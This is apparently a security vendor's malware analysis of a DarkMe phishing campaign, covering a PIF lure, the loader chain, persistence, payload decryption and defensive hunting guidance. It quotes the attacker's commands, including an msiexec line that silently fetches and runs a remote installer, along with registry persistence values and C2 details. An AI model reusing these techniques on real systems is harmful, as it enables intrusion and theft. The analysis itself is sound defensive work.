DarkMe Email Campaign Broadens Targeting For APT RAT

Background

DarkMe, a Visual Basic 6 (VB6) spy trojan and remote access tool became well known in February 2024 for its use of zero days to deliver malware. But this malware family was first observed in September 2021 and publicly documented a year later by NSFOCUS under "Operation DarkCasino" attributed to a group called EvilNum. Researchers at Trend Micro and SonicWall have also tied this malware, with the usual attribution caveats, to Water Hydra, an APT group with the unusual profile of chasing money rather than espionage. Its campaigns are typically financially motivated, targeting forex traders, stock-trading forums, online gambling platforms, and cryptocurrency users.

What made the DarkMe malware notable was the delivery. In 2023, Water Hydra weaponised the WinRAR extension-spoofing flaw CVE-2023-38831 as a zero day, dropping malicious archives on trading forums. In late 2023 and early 2024, Water Hydra pivoted to CVE-2024-21412, a Defender SmartScreen bypass built on a shortcut-that-points-to-another-shortcut (yes, this was a thing), staged over a WebDAV share behind a crafted Explorer view.

But our story picks up from the Huntress threat hunting team's POV, and this tradecraft is nearly unrecognisable. There is no exploit here at all. A hunting rule picked up some odd activity around a program information file (PIF) launching Windows Installer. Everything downstream of that PIF is textbook DarkMe, but everything before is frankly, boring. We thought this was an interesting story to tell, nevertheless, as it illustrates a larger trend of advanced threat actors opting for less sophisticated initial access methods to broaden their targeting.

Figure 1: An overview of the attack chain employed by this new DarkMe campaign

Technical breakdown

Initial access: a photo that wasn't

The delivery came through a link in a plain old social engineering malspam email: 

Figure 2: Phishing email delivering PIF disguised as an image

Although the link in the email pointed to https://readonline365[.]com/view/image.png, a URL for a graphics file, the webserver delivered image.pif, a Windows executable.

Figure 3: The Properties sheet describes the file as a "Shortcut to MS-DOS program" but the file is, itself, an executable.

The .pif extension, a relic of the DOS era, refers to "program information file." Modern Windows systems execute .pif files as a program, regardless of what the extension implies (or what the icon shows). 

Figure 4: When renamed with a .exe extension, the Details tab on the file's Properties sheet reveals previously concealed forged information that implies the file is a component of a security product called Aegis Sentinel, but it is unrelated to that product.

The same, identical file, a 1 MB PE32+ binary, was delivered to two Huntress customer envrionments. The users simply double-clicked and downloaded the file, not realising what it was.

Figure 5: image.pif download and execution

Staging: msiexec, an exemsi wrapper, and a script

The PIF's only job is to invoke the Microsoft installer, msiexec, to download and execute an .msi installer file hosted on an attacker-registered web address. It executed this command to do so:

msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart

Fetching a remote MSI over HTTPS with /quiet is rare in most environments, because legitimate installers almost never live in the root of an otherwise empty domain.

The MSI itself is a giveaway. Its metadata identifies it as built with the exemsi "MSI Wrapper" (version 11.0.53.0), packaged under the cover name "PrinterFind Softwares," with a creation date of January 11, 2024. The wrapper's benign scaffolding is all present:

• MsiCustomActions.dll

• newdev.exe stub

• BZ.RUN_BEFORE_INSTALL_FILE set to wScript.exe
  

In other words, the installer's purpose is to expand a Windows Cabinet archive file and run a script. EXPAND.EXE -R files.cab drops the components into %AppData%\ComponentsFolder\, and the installer executes prnfig.wsf.

Figure 6: DarkMe components installed in a folder named ComponentsFolder

Figure 7: prnfig.wsf, the staging script, showing the file copies, the registry-template rewrite, and the reg import plus rundll32 /sta handoff. 

Reading prnfig.wsf opens a clear window into the operator's intent. The Windows Script Host file does four things: 

• Copies every dropped file into %AppData%\ComponentsFolder\ 

• Copies only clspack.exe into %AppData%\Microsoft\, staging the hollowing target where a signed Microsoft binary looks least out of place

• Writes a template for making changes to the Windows Registry

• Fires the loader

The dropped filetext.txt is a Registry template that registers the COM object as @="Coconout.dll". The script reads it, substitutes the full %AppData%\ComponentsFolder\Coconout.dll path (including the name of the local user account in the path), escapes the backslashes for a .reg import, and writes the result to filetext2.txt. It then sleeps 1.5 seconds and runs:

cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}

Figure 8: The filetext.txt Registry template for import

That import registers a COM server under HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, with ProgID Coconout.Primary and InprocServer32 pointing at Coconout.dll.

The loader: Rundll32.exe and three Visual Basic 6 loaders 

The command that initiates the final stage of infection, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, was observed in the 2024 campaign, and is a great signature to detect or hunt on. The /sta flag runs the registered COM object in a single-threaded apartment (STA) via IShellRunDll::Run, a lesser-known execution path that sidesteps detections keyed on the usual rundll32 <dll>,<export> syntax.

Notably, the DLL path never appears on the command line, only an opaque UUID.

From there, the chain runs through three VB6 loaders, each of which is an obfuscation layer calling a named export in the next:

1. Coconout.dll is the stage-1 COM loader, which loads stage 2 and calls its FillText export.

2. Use.dll→ FillText is stage 2, where the anti-sandbox (and VM detection) gate and persistence live. The gate enumerates the host looking for a long list of applications the operator cares about; When a machine fails the check, execution simply stops.

3. Finalized.dll → Calculation is stage 3, which profiles the host, decrypts the payload, and hollows a signed binary.

Figure 9: Functions from the Finalized.dll component include "Calculation" and the DLL's internal name, VBDLLDemo.EXE

A closer look at the loader DLLs

Figure 10: A breakdown of the three DLLs

All the DLLs share a resemblance within the file details. It appears these were built together: Every one of them reports its language as Spanish (Spain, International Sort), an indicator the attacker's VB6  integrated development environment (IDE) was set to Spanish. Stages 2 and 3 both carry the original filename Proyecto 1.dll, the untouched VB6 default, while stage 1 was renamed to Coconout.dll to match the COM registration it needed to answer to. The product name splits the same way: Use.dll and Finalized.dll are both built under YourConfig, Coconout.dll under ProjectOwner. All three leave the description and copyright fields empty.

Figure 11: Details from all three DLLs show they were compiled on a Spanish-localized development system

Stage 1: Coconout.dll, the COM entry point

Coconout.dll is the smallest of the three at 28 KB and the only real COM server. It exports exactly the four functions a DLL needs and no export of its own, because it is not called by name: it is instantiated by CLSID. The /sta path is built in rather than incidental, since Coconout.dll implements IShellRunDll, which is the interface rundll32.exe /sta {CLSID} looks for.

Strings are plain UTF-16 and give away the purpose of this binary: \ComponentsFolder\Use.dll, the export FillText, and the fallback Warning: Use.dll not loaded - using defaults. The load sits in a retry loop, three attempts 50 milliseconds apart. All three loaders declare and never call a good number of APIs, then declare blocks copied wholesale from a sample file or similar and trimmed at the source level but not at the declaration level.

Inside Coconout.dll is an interesting build artifact:

Figure 12: An interesting build string left behind in Coconout.dll

The presence of bada (Italian for "mind," as in be careful) within the developer's folder structure aligns with prior threat intelligence linking DarkMe with a mix of Italian and Spanish linguistic artifacts across their codebase and operational history.

Stage 2: Use.dll, the gate and the persistence

Use.dll is where the first interesting logic lives, and where the operator hid the most. Running strings returns little of value, just VB6 runtime imports and a set of random nine-character class and module names (ysmzkrxox, zxefmxxdi, tnblrypyr) that look like the output of a name-randomising obfuscator.

Widen to UTF-16 with a tool like FLOSS and the persistence mechanism appears:

• Software\Microsoft\Windows\CurrentVersion\Run

• Software\Classes\Locked\shell\open\command

• URL:Locked Protocol

• explorer.exe 

• "Locked://Newest"

• the full rundll32.exe /sta {CFDC57BA-...} command line

The author obfuscated the target list (below) and their internal debug logging but left the registry paths readable.

The rest is stored as hex-encoded ASCII inside UTF-16 string literals, decoded at runtime and invisible to a scanner looking for readable text. The decoder is one function shared by all three DLLs, and essentially is just bytes.fromhex() over every all-hex UTF-16 literal, revealing 374 hidden strings out of stage 2 and four out of stage 3.

Those strings document the malware's behaviour in the operator's own words. Stage 2 keeps a running debug log (Integrity check passed. Found Finalized.dll., ERROR: Failed to load Finalized.dll from any location) written to %TEMP%\Zeta_Component.log, timestamped line by line. It only appears when DebugMode is set to 1 under HKCU\Software\Locked\Config.

The same decoded strings spell out the stage-3 handoff, and it is built to survive partial cleanup: Stage 2 looks for \ComponentsFolder\Finalized.dll, failing that \System32\Finalized.dll, and if the Calculation export is missing it falls back to one named Calculate. 

The 329-application gate

The centrepiece of stage 2 is a list of 329 unique executable names. 

Figure 13: The Use.dll component contains an extensive list of software it is interested in

Many of the listed programs include what you would expect a cryptostealer to be interested in:

• Wallets (metamask.exe, ledger live.exe, trezor suite.exe),

• Password managers (keepass.exe, bitwarden.exe)

• Trading terminals (the MetaTrader 5 toolchain, ninjatrader.exe),

• Online poker clients that fit DarkMe's historical targeting (pokerstars.exe, partypoker.exe, 888poker.exe)

Then the list keeps going, well past anything usually considered worth stealing: 

• Chat and videoconferencing clients

• 17 separate customer-support consoles

• VPN clients (including mullvad-deamon.exe—the operator's typo, not ours) 

• Game launchers, including League of Legends, Roblox, Steam, Epic, Ubisoft, Battle.net, CounterStrike, and Rocket League 

• Spotify.exe and vlc.exe

• Browsers, email clients, PDF readers, photo editors, time trackers, and miscellaneous utilities 

• A list of OEM and peripheral support utilities, from a dozen variations of Lenovo Vantage to razersynapse.exe, icue.exe, and rgbfusion.exe

That last category reframes the whole list. Gaming-mouse configuration utilities and RGB lighting daemons hold nothing of value, but they do prove that a human being uses this computer. That appears to be the function of the list, because the decoded control string give it away:

No protected apps found - exiting FillText

Execution stops when none of the 329 are found. This is not a target list; it is an inverted sandbox check. A conventional evasion check looks for analysis tooling and bails when it finds it, but this list contains no analysis tools. Rather than asking "am I being watched?", DarkMe asks whether anyone actually uses this system. A bare analysis VM with no Steam, no Razer drivers and no Slack fails the check and the malware exits having done nothing worth reporting, which is a durable trick precisely because it cannot be fixed by hiding your debugger.

Interestingly, Use.dll imports nothing but the VB6 runtime, yet it declares CreateToolhelp32Snapshot, Process32First, and Process32Next as late-bound Declare statements whose target names sit in the binary as plain ASCII rather than in the import directory. So the gate walks the live process list, making it a point-in-time test rather than a survey of what the host has installed.

Persistence, written before the payload loads

The gate runs first, and the registry writes sit after the process gate, the writes go through the same late-bound route, RegCreateKeyExA and RegSetValueExA from advapi32, in two sequences:

1. Create HKCU\Software\Classes\Locked, set its default value to URL:Locked Protocol, add the empty URL Protocol marker that tells Windows this is a URI scheme, then write the rundll32.exe /sta {CFDC57BA-...} command line into HKCU\Software\Classes\Locked\shell\open\command

2. Create HKCU\Software\Microsoft\Windows\CurrentVersion\Run and write the value Locked, whose data is explorer.exe "Locked://Newest"

That second step names the Run value for the first time. Both steps of the parent-masking trick are written here, in one function. This is worth keeping in mind when remediating, as removing the Run value without also removing the Locked class registration leaves the relaunch path intact (and vice versa). 

Stage 3: Finalized.dll, profiling and RunPE

Finalized.dll is the largest of the three at 1.1 MB and exports Calculation, the entry point stage 2 calls. Decoding the hex UTF-16 literal strings, stage 3 hides four strings:

• APPDATA

• \ComponentsFolder\company.cer

• Nobodygoingout

• \Microsoft\clspack.exe

Figure 14: A hexadecimal-encoded string implies a lonely night at home for someone

Those four strings hint at the purpose of this binary; APPDATA is the environment variable the other two paths are resolved against, giving %AppData%\ComponentsFolder\company.cer to read the payload from and %AppData%\Microsoft\clspack.exe to target. That second path closes a loop from the much earlier prnfig.wsf as it copied clspack.exe into %AppData%\Microsoft\ at install time precisely so stage 3 would find a signed Microsoft binary waiting: Nobodygoingout, the remaining string, which initially appears to be the key that decrypts company.cer payload.

Figure 15: How the Finalized.dll component completes the infection

Once again the declared APIs help us fill in the blanks: 

• CreateProcessA

• ZwUnmapViewOfSection from ntdll

• VirtualAllocEx

• WriteProcessMemory

• ReadProcessMemory

• VirtualProtectEx

• RtlMoveMemory

• GetThreadContext

• SetThreadContext

• ResumeThread

That is the go-to process-hollowing chain. Stage 3 declares no registry API, no process enumeration, and no network API. It only reads the payload, injects it into clspack.exe and then exits. 

The first job of Finalized.dll:Calculation is building a host-profile report from seven Environ$() calls and rendering it in four formats (INI, XML, an HTML System Report, and a Windows registry export), alongside a broader survey of hardware, services, policy, display and locale keys. 

Nobodygoingout, and the RC4 that isn't

Nobodygoingout is the key that decrypts the payload. Stage 3 reads company.cer, runs it through a single decryption step keyed with that string, and hands the decrypted PE straight to the hollowing routine.

The decryptor looks like your typical RC4 decryption loop, but is actually broken in one specific way. 

Figure 16: Reconstructed broken RC4 routine 

What follows is real cryptography nerd stuff, if you would rather not spend four paragraphs trying to understand RC4, here is the short version: the author tried to implement RC4, left out one line, and turned an RC4 encrypt function into an XOR by 0x02.

Those two lines are the whole loop body. Real RC4 fills S with the identity before the loop and swaps S(i) with S(j) inside it. This version has no swap at all, and initialises S(i) in the same iteration that reads it, after reading it. So S(i) always reads zero, S finishes as the plain identity permutation, and the 2,048 bits of state RC4 relies on never come into existence. Everything the key contributes survives as one 8-bit scalar, which for Nobodygoingout is the number 172.

What is left generates the keystream by doubling that single byte, state = (2 * state + 1) MOD 256, and taking (2 * state) MOD 254 as the output. That recurrence has a fixed point: from any starting value, state is dragged to 255 within eight steps, after which the output byte is 2 forever. 

This is why every published description of DarkMe records the payload as a plain single-byte XOR with 0x02. It is not a single-byte XOR by design. It is a keyed stream cipher whose state annihilates itself seven bytes in.

Those seven bytes are the part everyone has been throwing away. Starting from state = 172, the recurrence emits b2 68 ce a0 40 7e 00 before it collapses, and XORing that against company.cer opens the file 4d 5a 90 00 03 00 00 00, the canonical MS-DOS stub, exact to the byte. The header was never stubbed, contradicting what has been reported previously. Those seven keystream bytes are the DOS header, and they are the only bytes in a 22.5 MB payload the key actually protects. The shortcut everyone uses instead, XOR 0x02 throughout and hand-patch MZ over the front, leaves five wrong bytes in legacy fields Windows ignores, so it still loads and still analyses correctly but yields a different hash: e34bb5f7... against the correct 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76.

Process hollowing into a signed Microsoft binary

With the payload "decrypted," stage 3 hollows out clspack.exe, a legitimate Microsoft-signed binary (the "Zip Package Creation Tool") that the staging script had already copied into %AppData%\Microsoft\. The sequence is standard RunPE: 

• CreateProcess in a suspended state 

• ZwUnmapViewOfSection

• VirtualAllocEx 

• WriteProcessMemory 

• SetThreadContext

• ResumeThread 

Because the host process is genuinely signed, signature- and reputation-based controls see a trusted Microsoft executable, while the code running inside it is anything but. 

Figure 17: The Hollows Hunter utility finds process hollowing present in the clspack.exe component

A signed Microsoft binary executing from %AppData%\Microsoft\ rather than System32 is anomalous regardless of its signature, and it is a cleaner detection opportunity than trying to catch the injection itself.

The payload: DarkMe, confirmed

Inside the hollowed process runs a VB6 stealer and RAT, internal project name Officially or PartiallyesOnes. Multi-stage stealer-RATs that decrypt and unpack themselves across several loaders are a pattern we have pulled apart before, most recently in our reverse-engineering of MacSync Stealer; this DarkMe variant is its Windows VB6 cousin. 

The incidents' telemetry pointed to capabilities that line up with previously reported DarkMe tradecraft: 

• Cryptocurrency wallet theft (MetaMask, Ledger, Exodus, Trezor, Phantom), 

• Screenshot capture via GDI+

• Antivirus enumeration through the WMI query SELECT * FROM AntivirusProduct

• Full file manipulation and arbitrary command execution over a custom TCP channel implemented on wsock32
  

The big giveaway for DarkMe is that its C2 verbs are Spanish- and Italian-derived mnemonics, and both Trend Micro and SonicWall published an identical list. Ours match: 

• SHLEXE (execute shell command)

• ZIPALO ("zip it")

• COPALO ("copy it")

• PASALO ("pass it") 

• DELMAP (delete directory)

• STRFLS (enumerate a directory) 

Taken with the single-byte-XOR payload and the full structural chain (remote MSI, CAB to %AppData%, reg import of a dropped text file, rundll32 /sta {CLSID}, VB6 loaders calling named exports, and hollowing of a signed binary copied in from a disguised file), we feel confident that this is DarkMe. 

Recovering the HIDING C2 sample

DarkMe does not store its C2 in the clear; the domain is RC4-encrypted (with a working RC4 algo this time) and tucked inside a Visual Basic form as a text-box value, decrypted at runtime with a hardcoded key. Prior reporting is useful here for a reason worth noting up front: SonicWall and Trend Micro both recovered the same RC4 key, noway123!$$#@35@!, from campaigns six months apart, which made it look like a durable artifact and a reliable pivot.

That wasn't the case for us. Pulling the RC4 blob out of our sample's form resources yielded a different but similar key: onlywayhere23!$$#@!!35@!12. Decrypting the C2 domain configuration points to thatawful[.]boutique, which resolves to a C2 at 67.43.50[.]11:7712. 

Figure 18: Memory dumps from the process-hollowed clspack.exe expose the C2 domain

This means we are looking at a fresh build generated from the same underlying code/toolkit rather than a recycled binary from 2024. 

Figure 19: The RC4-encrypted C2 domain in VBReFormer

Analysis via Censys on 67.43.50[.]11 (hosted via Voxility/ColoGuys in Prague) reveals a sloppy Windows Server deployment exposing a wealth of remote management ports, including RDP (3389), WinRM (5985, 47001), and DCERPC (135). The RDP service even leaks the machine's default Windows hostname WIN-78P55T5IL26 via a self-signed TLS certificate. 

Interestingly, the standard web ports (80 and 443) on this IP aren't serving up a typical C2 panel; instead, the Nginx server issues a 302 redirect, sending visitors to a sketchy adware tracking link on effectivecpmnetwork[.]com. Combined with the discovery of another domain (megchartedbk7[.]com) resolving to the exact same IP.

Figure 20: The RC4-decrypted C2 scanned via Censys

Figure 21: Hardcoded port for C2 traffic in VBReFormer

The malware includes a hardcoded port that presents another detection opportunity. Our samples all communicated over port 7712, a non-standard port rarely associated with legitimate business applications.

Flagging or blocking outbound egress to TCP 7712 provides a simple, low-noise signal for identifying active C2 sessions from this RAT.

Persistence: hiding behind Explorer

Persistence is a single HKCU Run key, but with a wrinkle that appears to be new is rather than re-invoking rundll32 directly, the value is:

explorer.exe "Locked://Newest"


Locked:// is a custom URL-protocol handler the malware registers under HKCU\Software\Classes\Locked\shell\open\command, and following it lands right back at rundll32.exe /sta {CFDC57BA-...}, the top of the loader chain. Routing the relaunch through explorer.exe and a bespoke protocol handler masks the parent process at logon, so the malicious rundll32 appears to descend from Explorer rather than from a Run key directly. 

OSINT: Time to go digging

VirusTotal records seven domains serving this .pif file in the wild, and working through them resolves to five genuine delivery hosts: 

1. storageonline[.]me

2. readonline365[.]com

3. viewdocument[.]live

4. advancedfuturetechnology[.]com 

5. sharedfuturetech[.]com

Four were still serving the identical binary, 394c93df…, byte-for-byte when we fetched them. The other two had moved on by then, advancedfuturetechnology[.]com apparently suspended by its provider and sharedfuturetech[.]com returning a 404 with the payload pulled, though VirusTotal caught both serving live in August.

The paths varied (/pictures/image.png, /view/image.png, /SCAN_2026-0698494.pif) while the payload never changed. Two hosts served the PE as text/plain, and both .png and .pdf URLs answered with a 301 straight to the .pif. 

Hosting splits in two: three domains on Ultahost in Frankfurt, and two Hostinger WordPress sites. Those WordPress hosts could be hijacked but viewdocument[.]live is entirely starter-template content. The domain was registered 16:02 UTC on March 1, 2026, with nine demo posts created at 16:31:28 in under half an hour. Interestingly, their API leaks the user account, whose display name falls back to a Gmail address because the nickname was never set. 

readonline365[.]com also has directory listing switched on, which is how we ended up reading the operator's working directory, both campaign lure filenames with matching hashes, a 148-byte test INF that does nothing but run calc.exe, a 64 KB VB6 sibling build, and a 27 MB PNG carrying 19,222,574 bytes appended past its IEND EOF marker. That last one is similar to the payload-in-an-image trick this campaign used, but neither key we recovered opens it, so it's likely part of a separate campaign.

Figure 22: The open directory containing payloads on readonline365[.]com

Finally, sharedfuturetech[.]com had pulled its DarkMe payload by the time we fetched it, but the host was not idle. Its root serves a fake software-crack page that walks the visitor through a bogus install asking them to paste a command into PowerShell, a technique we call ClickFix. This delivers a different family entirely with its own loader and C2, which appears to be an Efimer-derived stealer, a family documented by Kaspersky. We are treating it as a separate campaign.

Figure 23: sharedfuturetech[.]com using a ClickFix-style lure to get the user to run a malicious command

Two things put this page in context:

• A TLS error on the same host gives up a certificate for a machine-generated co-resident domain

• Its certificate history leads to a cluster of sites imitating banks, cryptocurrency platforms, and streaming services, five of which serve a byte-identical copy of that same crack page. 

The domain sharedfuturetech[.]com was serving unrelated executables back in March 2026, five months before this campaign. So one server was monetising two distinct operations at once, on infrastructure that predates the DarkMe activity by months. 

At the time of writing, the live staging server, with an open directory listing and verified payload on disk, scored 0 malicious out of 52 engines on VirusTotal. AbuseIPDB rates every address 0% confidence, GreyNoise has no classification, and abuse.ch has no records. Cheap shared hosting on clean domains is enough to stay under reputation-based blocking entirely, so detection here has to come from the hashes and behaviour below, not from an IOC feed.

Figure 24: The DarkMe adversary infrastructure as mapped through VirusTotal Graph

Mitigation guidance and remediations

Hunt the execution chain (cheap queries with high signal)

• Alert on rundll32.exe invoked with /sta and a GUID but no DLL path on the command line. This is central to every documented DarkMe generation and is rare in legitimate use. 

• Alert on msiexec fetching a remote MSI over HTTP/S (a URL argument to /i). Rare and high-signal in most estates.

• Alert on reg.exe import of a file from a user-writable path, especially %AppData%. Legitimate software almost never does this.

• Alert on wscript.exe or cscript.exe executing a .wsf from %AppData%, and on either spawning reg.exe or rundll32.exe.

Catch the masquerade and the hollowing

• Alert on execution of .pif files. Legitimate use on modern Windows is essentially nonexistent.

• Alert on signed Microsoft binaries such as clspack.exe running from %AppData% rather than System32/SysWOW64. 

• Enumerate HKCU\Software\Classes\*\shell\open\command for non-standard protocol handlers, and Run-key values that invoke explorer.exe with a custom URI scheme. This catches the Locked:// parent-masking variant.

Contain and clean up

• Isolate the host, terminate the hollowed clspack.exe, and remove the ComponentsFolder and %AppData%\Microsoft\clspack.exe artifacts.

• Delete the persistence: the HKCU...\CurrentVersion\Run value and the HKCU\Software\Classes\Locked and CLSID {CFDC57BA-...} registrations. A reboot is required to fully complete the removal.

• Reset credentials for the affected user, and treat any cryptocurrency wallet used on the host as compromised, assuming seed phrases are exposed.

• Block onlineview365[.]com, readonline365[.]com, and thatawful[.]boutique / 67.43.50[.]11.

Conclusion

We're not suggesting that DarkMe is somehow less sophisticated in its capabilities than two years ago; we're pointing out that now it doesn't have to be. The same VB6 loader chain, the same COM invocation, and the same hollowing into a signed binary that Water Hydra shipped behind two zero days turned up here behind a .pif and a double-click. Everything expensive about the old delivery; the WinRAR flaw, the SmartScreen bypass, the WebDAV staging, and the crafted Explorer view was gone, and none of it was missed. A file that Windows will run on sight asks nothing of the attacker but a convincing email.

Dropping the zero days didn't weaken this campaign. Instead, it made the operation cheaper, highly scalable, and easier to point at a broader audience. That explains the shift in targeting from niche forex traders to everyday corporate users. It's a familiar, but frustrating narrative; we are watching threat actors pivot from highly skilled, targeted intrusions toward high-volume, low-effort attacks and the results speak for themselves. In 2026, users are still clicking links in unsolicited emails. As long as these old-school phishing tactics keep working, adversaries have no reason to burn expensive exploits.

Indicators of Compromise (IOCs)

Disk and memory artifacts

Network / Infrastructure